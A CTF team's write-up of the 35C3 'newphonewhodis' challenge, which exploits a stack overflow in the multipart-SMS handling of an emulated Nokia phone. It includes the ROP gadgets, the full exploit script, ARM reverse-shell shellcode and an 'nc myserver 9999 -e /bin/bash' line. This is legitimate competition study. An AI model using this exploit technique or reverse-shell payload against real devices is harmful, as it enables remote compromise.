mhackeroni rulez
30 December 2018

newphonewhodis - 35c3ctf

by jinblack

Remember the Nokia 1337 from 31C3? This time we have a real target for you!

Challenge note

Note: There is a giant readme in the provided archive. Make sure you read it and try everything locally first. After you have your exploit, launch it against the remote infrastructure and get to the real meat!

Note 2: The UI crashes when you select a phone book entry and select “Options”. This is not intended and an oversight by the author but isn’t relevant to the solution to the challenge. So just don’t hit that button.

Hints: To avoid confusion: The target phone can reach external hosts on the internet and has netcat installed.

Where do we begin?

There is a phone running somewhere at the 35c3 convention. It is connected to a GSM network. But there is no radio connection for the physical layer, instead, all the GSM protocol run over UDP packets that are sent through an OpenVPN connection.

I ran the buildall script, it took a while (I was in the South of Italy visiting my parents, here internet connection is far from good). I ran the startall script and only two containers out of 3 came up. One container was the baseband. another one was an osmocombb instance with 2 configured phone, and the third one, the one who did not come up, the one that really matters was an emulator for the Nokia phone.

Inside the nokia phone

nokia_qemu container is dying just after the start, but this does not stop us from getting inside and find our binary. the container as an image folder and inside that we have nokia-image-nokia.ext4. This is the filesystem of our phone. We can mount this and take a look.

sudo mount ./nokia-image-nokia.ext4 /mnt

There is a /flag.txt file containing:

If this was the real challenge, you would find the flag here.

So we at least know where is the flag. Inside /opt/nokia we have 3 arm32 binaries: baseband layer1 nokia_ui. So, we probably need to remotely pwn one of those binaries and read the flag.

Running the nokia phone

We definitely need to have a running setup if we want to have any chance of pwning this. So we need to figure out why our docker container is not working. To be honest inside the readme there where some hint on how to run the container. But at that time I was not aware enough of the challenge set up to actually understand that. The Nokia phone is running inside a qemu that is inside the docker container. The problem was that it was not able to connect to x11 server to actually render stuff.

My solution was to change the -display sdl into -vnc :0 from the runqemu.sh.

This enables a vnc server that you need to expose outside the container to actually have access to it. So you need to add a -p 5900:5900 to you docker running command inside the run.sh script.

Then we can connect to the screen using vinagre a vnc client.

server

When the nokia is running you can also connect through ssh as explained by the runall.sh script.

Running ps we can actually confirm that those binaries that we found are actually running on the phone.

 1172 root      6924 S    /opt/nokia/nokia_ui
 1173 root      1564 S    /sbin/agetty -8 -L ttyAMA0 115200 xterm
 1174 root      4944 S    /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/gsm.pid --cd /etc/open
 1205 root      5852 S    /opt/nokia/layer1
 1206 root      6124 S    /opt/nokia/baseband
 1209 root      2108 S    /usr/sbin/dropbear -i -r /etc/dropbear/dropbear_rsa_host_key -B

Reversing the binary nokia_ui

Opening the binary with ida you actually understand that most of the code is in thumb mode. But my ida fails to identify the code like that. You can use Alt+G to change the flag T to let ida know that a segment is actually in thumb mode.

Playing with the phone you can notice that only 2 main functionalities are implemented inside the phone.

So this phone cannot do voice call. Can only send and receive SMSes. Then we need to find where those SMSes are actually handled.

Around address 0x12E82 we see this:

   if ( v49 == 0x202 )
    {
      v51 = osmo_hexdump(recvstuff + 0x11, 163);
      printf("Received SMS TPDU: %s\n", v51);
      recv_sms(v44, recvstuff[16], recvstuff + 0x11);
      JUMPOUT(__CS__, v12);
    }
    if ( v49 == 515 )
    {
      printf("Received SMS confirmation: msg_ref: %u - cause: %u\n", recvstuff[180], *(recvstuff + 46));
      if ( recvstuff[181] )
        sub_13388(v44, recvstuff[180], *(recvstuff + 46));
    }
    else if ( v49 == 258 )
    {
      printf("Shutdown indication: Old state: %u - New State: %u\n", *(recvstuff + 2), (*(recvstuff + 2) >> 32));
      if ( *(recvstuff + 5) == 3 )
        *(v44 + 60) = 1;
      JUMPOUT(__CS__, v12);
    }
    goto LABEL_20;

The Received SMS TPDU gives away the fact that the next function is probably where SMS is interpreted.

Here is the decompiled source from recv_sms.

There is basically 2 way of receiving SMS:

To have a multi-part SMS you need to insert inside the SMS payload a User Data Header (UDH). You can read the standard but this stuff is well known and can also be found on Wikipedia Concatenated SMS.

Looking at the Wikipedia page we can compare the standard header for multi-part SMS with this code:

  puts("Received SMS with UDH");
  if ( userbuf->encoded_data[1] )
  {
    printf("Got unknown information element in UDH: 0x%02x\n", userbuf->encoded_data[1]);
    goto FAIL;
  }
  if ( userbuf->encoded_data[0] != 5 )
  {
    puts("Concatenated SMS UDH with length != 5?");
FAIL:
    puts("Received SMS with malformed/unknown UDH. Discarding...");
    result = talloc_free(userbuf, 115284);
    goto LABEL_33;
  }
  if ( userbuf->encoded_data[2] != 3 )
  {
    puts("Concatenated SMS UDH with header length != 3?");
    goto FAIL;
  }
  nparts = userbuf->encoded_data[4];
  if ( nparts > 3 )
  {
    puts("Too many parts");
    goto FAIL;
  }
  refnum = userbuf->encoded_data[3];
  seqnum = userbuf->encoded_data[5];

We know that the binary is using the standard UDH format. We can give a name to all those bytes that the program is parsing.

So basically when you send a multipart SMS you add this header where you write a refnum or CSMS that is a unique id to identify the sequence of SMSes. You have a nparts or number of parts that are expected for that SMS. And the most important seqnum a number that says which part of SMS you are handling (2 means this is the second piece of the SMS).

We also notice that we cannot have SMSes that are bigger than 3 parts.

The Vulnerability

After a while playing ctfs you know that if the author spent the time to implement the multi-part SMS protocol that stuff is needed for the attack.

Where multi-part SMSes are actually processed we find this:

            {
              if ( !v55 || v55 > 3 )
                puts("Unknown data coding scheme in sms. Copying raw data after UDH");
              puts("8 bit encoding");
              v49 = 134;
              v50 = *(v47->data + 28);
              if ( v50 <= 0x8C )
                v49 = v50 - 6;
              memcpy(&payload[134 * seqnum - 134], (v47->data + 35), v49);
            }

This code is actually reconstructing the SMS from all its parties. Copying the result inside payload a variable on the stack. seqnum is a value that we can control arbitrarily. Even if we are limited to only 3 parts we can specify that we are sending part number 4 and this will cause the memcpy to write outside the allocated buffer writing the return address on the stack gaining control of the PC.

Communicate with the phone

We need to be able to send SMS to this phone to actually exploit the vulnerability. Thankfully the author provided us with a full setup that also contains configured version of osmocombb software.

After a while playing with these software (and actually reading the source code) I found that if you type enable in the console you can use the sms command to send some SMSes. The problem was that the interface was very limited. It was sending only single sms with the 7bit encoding scheme and was accepting only ASCII character. I needed to be more flexible to be able to produce multi-part SMSes. I tried to sniff the output of osmocombb to be able to write a python script. But I quickly discovered that the full gsm protocol was involved. This includes asking and obtaining a channel to actually communicate with the baseband. Implementing all this stuff was time consuming and, in ctf, you do not have much time. So, I decided to patch osmocombb software to implement a command that let me send a more customizable sms.

Full patch is available here. The interesting stuff is:

Be able to specify that the packet contains a UDH header.

   sms->ud_hdr_ind = atoi((char *)argv[1]);

Specify that the data was 8bit encoded and not 7bit encoded.

   sms->data_coding_scheme = 4;

Write sms as hex encoded so that I could you any value.

   char * text_hex = argv_concat(argv, argc, 3);
   char * text = hex2b(text_hex);
   int text_len = strlen(text_hex) / 2;

The result is a command like this where I specify that UHD is included and the sms is hex encoded:

smshex one 1 9999 05000317010a170069350100921a05b46b2a0100247017006935010069460b276b2a0100287017006935010001dfc0466b2a01002c70170069350100020012346b2a01003070170069350100253b24286b2a010034701700693501002f62696e6b2a010038701700693501002f7368006b2a01003c7017006935010001701700531f0100

The attack

Now we can communicate via SMS with the phone and we also have a vulnerability.

I wrote a small python function to encode SMSes:

def encode_part(ref_num, data, CSMS=0x17, max_part=3):
    assert max_part <= 3
    header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num)
    return header+data

We can craft few SMSes with payloads from the cyclic command of pwntools and find how to control the PC.

c = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa"

print "smshex one 1 9999",encode_part(4, c[:134], max_part=1).encode("hex")

Now that we control PC challenge is solved right?

Actually was not so easy. Even if it was a nokia phone, in reality, it was a binary running on a Linux distro. So it had NX bit and ASLR enable. The binary was not PIE.

When I usually exploit a no PIE binary with ASLR and NX bit, I write a ropchain that leak something from the .got and then read again on top of the stack for a second stage rop that uses libc. But this time I did not have a connection to the binary. So was very hard to implement a second stage sent later.

The phone had Internet access and also nc installed. So the plan was to execute:

system("nc myserver 9999 -e /bin/bash");

system was not in the .got so I need to do some computation from a value in the got to get the address for system. This stuff is hard while ropping, so the exploitation plan was slightly different: Let’s map some executable address and write a shellcode that does a reverse connection.

So, I collected a few gadgets and built the ropachain that execute a mmap on an address the I can choose. Permissions for this new page are of course RWX.

# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}
r3load = 0x0001275e
#0x000128fe : pop {r5, pc}
r5pop = 0x000128fe
#0x000118c6 : pop {r4, pc}
r4pop = 0x000118c6
#0x000172a6 : pop {r2, r3, r4, pc}
r234pop = 0x000172a6
#0x00016c12 : pop {r1, r4, pc}
r14pop = 0x00016c12
#0x00015c24 : pop {r0, r3, pc}
r03pop = 0x00015c24
#0x00012b4e : pop {r2, pc}
r2pop = 0x00012b4e
#0x000111c4 : pop {r3, pc} not thumb
r3popnothumb = 0x000111c4
#0x00011f52 : blx r4
blxr4 = 0x00011f52
#       void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
mmap = 0x00011240
mmap = 0x00013E0C +1
memcpy = 0x00011410
memcpy_got = 0x000320C0
#0x0001fe36 : add r3, sp, #0x2b8
addr3sp = 0x0001fe36

#0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr
#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}
ctrlr = 0x000122c0
#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263e
setlrjmpr3 = 0x00014b5a
"""
Register state when we take control of PC
r0             0x0                 0
r1             0x38024             229412
r2             0x35a70             219760
r3             0x35a70             219760
r4             0x61716161          1634820449
r5             0x61726161          1634885985
r6             0x61736161          1634951521
r7             0x61746161          1635017057
r8             0x61756161          1635082593
r9             0x61766161          1635148129
r10            0x61776161          1635213665
r11            0x61786161          1635279201
r12            0x7                 7
sp             0x7efe9b38          0x7efe9b38
lr             0x3f                63
pc             0x5a5a5a5a          0x5a5a5a5a
cpsr           0x600b0110          1611333904
fpscr          0x10                16
"""
address = 0x177000
stderr = 0x00036E90
ropchain = c[:74] + p32(stderr) + p32(address) * 4 
ropchain = ropchain.ljust(94, "A")
ropchain += p32(r3popnothumb)
ropchain += p32(address) #r3 dont care
ropchain += p32(r5pop+1)
ropchain += p32(address) #r5 dont care
ropchain += p32(r14pop+1)
ropchain += p32(0x1000) #r1 size
ropchain += p32(address) #r4 dont care
ropchain += p32(r234pop+1) #pc
ropchain += p32(7) #r2 prot
ropchain += p32(address) #r3 dont care
ropchain += p32(address) #r4 dont care
ropchain += p32(r03pop+1) #pc
ropchain += p32(address) #r0 addr
ropchain += p32(0x22) #r3 flags Anonimous
ropchain += p32(mmap)
ropchain += p32(0x0) #fildes
ropchain += p32(0x0) #off
ropchain += p32(0x41414141) #pc

Gaining back PC Control

The main problem was that mmap assumed to be called with a BLX, ergo it will return to the value inside the lr register. For whatever reason that I do not know lr register was set to 0x3f so a direct jump to mmap would cause a crash at the end. Instead of jumping directly to mmap then, we can use a call of mmap that is already in the program somewhere. This, after the execution of the mmap, would continue the execution in that part of the program. Then we just need to have the program not crashing before reaching another return that do not use link register. I jumped to 0x00013E0C +1.

.text:00013E04 200 MOV.W           R2, #3  ; prot
.text:00013E08 200 ADD             R1, R5  ; len
.text:00013E0A 200 STR             R5, [R4,#0x58] ; Store to Memory
.text:00013E0C 200 BLX             mmap    ; Branch with Link and Exchange (immediate address)
.text:00013E10 200 ADDS            R3, R0, #1 ; Rd = Op1 + Op2
.text:00013E12 200 STR             R0, [R4,#0x5C] ; Store to Memory
.text:00013E14 200 BEQ.W           loc_140F0 ; Bran

To ensure that the execution would continue without crashing, I tried to set most registers to address. In this way, instructions differentiating those registers would not end up crashing. This actually (and surprisingly) worked. I manually executed my payload with gdb until the program was popping another value from the stack to the PC register. I save the address did some math to understand how far it was from the vulnerable buffer. With an sms in position 8 we can gain back control of PC register.

Second Payload

At this point, we have a page in the memory space with a fixed address where we can write and jump into.

We need some reliable way to copy a shellcode into this memory and jump to it. I tried for several hours to build a call to memcpy but I was not able to put a stack address into r1 register. (r1 is the source register because of the calling convention of amr32).

Thankfully marcof came out with the idea of building a ropchain that write the shellcode into memory using registers.

This is the type of gadget that you need:

# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}
storer4r3 = 0x00013568

You put 4 bytes that you want to write in r4 and the address where to write in r3 and keep doing that until the whole shellcode is written.

The challenge here was to have a chain not too long, because we were close to env variable on the stack, overwriting env was ending in a crash because used by some time function.

After several iterations we end up with this script to generate such chain:

ropchain_second += p32(r4pop+1) #r4
ropchain_second += shellcode[0:4] #r4
for x in range(0, len(shellcode), 4):
    spiece_next = shellcode[x+4:x+8]
    if x >= len(shellcode)-4:
        spiece_next = p32(address+1) # These put jumping address in r4
        print "done"
    ropchain_second += p32(popr3+1) #pc
    ropchain_second += p32(address+x) #r3 value
    ropchain_second += p32(storer4r3+1) #pc
    ropchain_second += spiece_next #r4
#add jump to address
ropchain_second += p32(blxr4+1)

The other point to keep the chain short was keeping the payload short. We basically used this shellcode with small fixes:

This is the final script that produces 5 SMSes. The last one is the one which triggers the bug so it needs to be the last one.


from pwn import *

def encode_part(ref_num, data, CSMS=0x17, max_part=3):
    assert max_part <= 3
    header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num)
    return header+data



c = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa"

#r3 load
# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}
r3load = 0x0001275e
#0x000128fe : pop {r5, pc}
r5pop = 0x000128fe
#0x000118c6 : pop {r4, pc}
r4pop = 0x000118c6
#0x000172a6 : pop {r2, r3, r4, pc}
r234pop = 0x000172a6
#0x00016c12 : pop {r1, r4, pc}
r14pop = 0x00016c12
#0x00015c24 : pop {r0, r3, pc}
r03pop = 0x00015c24
#0x00012b4e : pop {r2, pc}
r2pop = 0x00012b4e
#0x000111c4 : pop {r3, pc} not thumb
r3popnothumb = 0x000111c4
#0x00011f52 : blx r4
blxr4 = 0x00011f52
#       void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
mmap = 0x00011240
mmap = 0x00013E0C +1
memcpy = 0x00011410
memcpy_got = 0x000320C0
#0x0001fe36 : add r3, sp, #0x2b8
addr3sp = 0x0001fe36

#0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr
#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}
ctrlr = 0x000122c0
#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263e
setlrjmpr3 = 0x00014b5a
"""
Register state when we take control of PC
r0             0x0                 0
r1             0x38024             229412
r2             0x35a70             219760
r3             0x35a70             219760
r4             0x61716161          1634820449
r5             0x61726161          1634885985
r6             0x61736161          1634951521
r7             0x61746161          1635017057
r8             0x61756161          1635082593
r9             0x61766161          1635148129
r10            0x61776161          1635213665
r11            0x61786161          1635279201
r12            0x7                 7
sp             0x7efe9b38          0x7efe9b38
lr             0x3f                63
pc             0x5a5a5a5a          0x5a5a5a5a
cpsr           0x600b0110          1611333904
fpscr          0x10                16
"""
address = 0x177000
stderr = 0x00036E90
ropchain = c[:74] + p32(stderr) + p32(address) * 4 
ropchain = ropchain.ljust(94, "A")
ropchain += p32(r3popnothumb)
ropchain += p32(address) #r3 dont care
ropchain += p32(r5pop+1)
ropchain += p32(address) #r5 dont care
ropchain += p32(r14pop+1)
ropchain += p32(0x1000) #r1 size
ropchain += p32(address) #r4 dont care
ropchain += p32(r234pop+1) #pc
ropchain += p32(7) #r2 prot
ropchain += p32(address) #r3 dont care
ropchain += p32(address) #r4 dont care
ropchain += p32(r03pop+1) #pc
ropchain += p32(address) #r0 addr
ropchain += p32(0x22) #r3 flags Anonimous
ropchain += p32(mmap)
ropchain += p32(0x0) #fildes
ropchain += p32(0x0) #off
ropchain += p32(0x41414141) #pc

"""
r0             0xffffffff          4294967295
r1             0x9                 9
r2             0x76f9c6a0          1996080800
r3             0xffffffff          4294967295
r4             0x41414141          1094795585
r5             0x41414141          1094795585
r6             0x41414141          1094795585
r7             0x41414141          1094795585
r8             0x41414141          1094795585
r9             0x177000            1536000
r10            0x177000            1536000
r11            0x177000            1536000
r12            0x6                 6
sp             0x7ed1fd70          0x7ed1fd70
lr             0x76dde329          1994253097
pc             0x5a5a5a5a          0x5a5a5a5a
cpsr           0x200f0110          537854224
fpscr          0x10                16
"""

#0x000118c4 : strb r3, [r4] ; pop {r4, pc}
storer3r4 = 0x000118c4
#0x00013ad2 : str r2, [r3] ; pop {r4, pc}
storer2r3 = 0x00013ad2
# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}
storer4r3 = 0x00013568

ropchain_second = "A"*126

# 0x00012a6a : pop {r3, pc}
popr3 = 0x00012a6a

shellcode = "\x02\x20\x01\x21\x92\x1A\x0F\x02\x19\x37\x01\xDF\x06\x1C\x08\xA1\x10\x22\x02\x37\x01\xDF\x3F\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xFB\xD5\x05\xA0\x92\x1a\x05\xb4\x69\x46\x0b\x27\x01\xDF\xC0\x46\x02\x00\x12\x34\x25\x3b\x24\x28\x2f\x62\x69\x6e\x2f\x73\x68\x00"

print len(shellcode)
ropchain_second += p32(r4pop+1) #r4
ropchain_second += shellcode[0:4] #r4
for x in range(0, len(shellcode), 4):
    spiece_next = shellcode[x+4:x+8]
    if x >= len(shellcode)-4:
        spiece_next = p32(address+1) # These put jumping address in r4
        print "done"
    ropchain_second += p32(popr3+1) #pc
    ropchain_second += p32(address+x) #r3 value
    ropchain_second += p32(storer4r3+1) #pc
    ropchain_second += spiece_next #r4
#add jump to address
ropchain_second += p32(blxr4+1)



ropchain1 = ropchain[:134]
ropchain2 = ropchain[134:]

ropchain_second1 = ropchain_second[:134]
ropchain_second2 = ropchain_second[134:134*2]
ropchain_second3 = ropchain_second[134*2:134*3]
# ropchain_second4 = ropchain_second[134*3:]
print len(ropchain_second4)
print "smshex one 1 9999", encode_part(5+5, ropchain_second3, max_part=1, CSMS=23).encode("hex")
print "smshex one 1 9999", encode_part(5+6, ropchain_second4, max_part=1, CSMS=24).encode("hex")

# print "smshex one 1 9999", encode_part(5+4, ropchain_second2, max_part=1, CSMS=21).encode("hex")

print "smshex one 1 9999", encode_part(5+3, ropchain_second1, max_part=3).encode("hex")
print "smshex one 1 9999", encode_part(5, ropchain2, max_part=3).encode("hex")
print "smshex one 1 9999",encode_part(4, ropchain1, max_part=3).encode("hex")


#35C3_n0k1a_pH0ne_i5_b3st_ph0n3
tags: 35c3 - ctf - nokia - gsm - pwn - sms - mhackeroni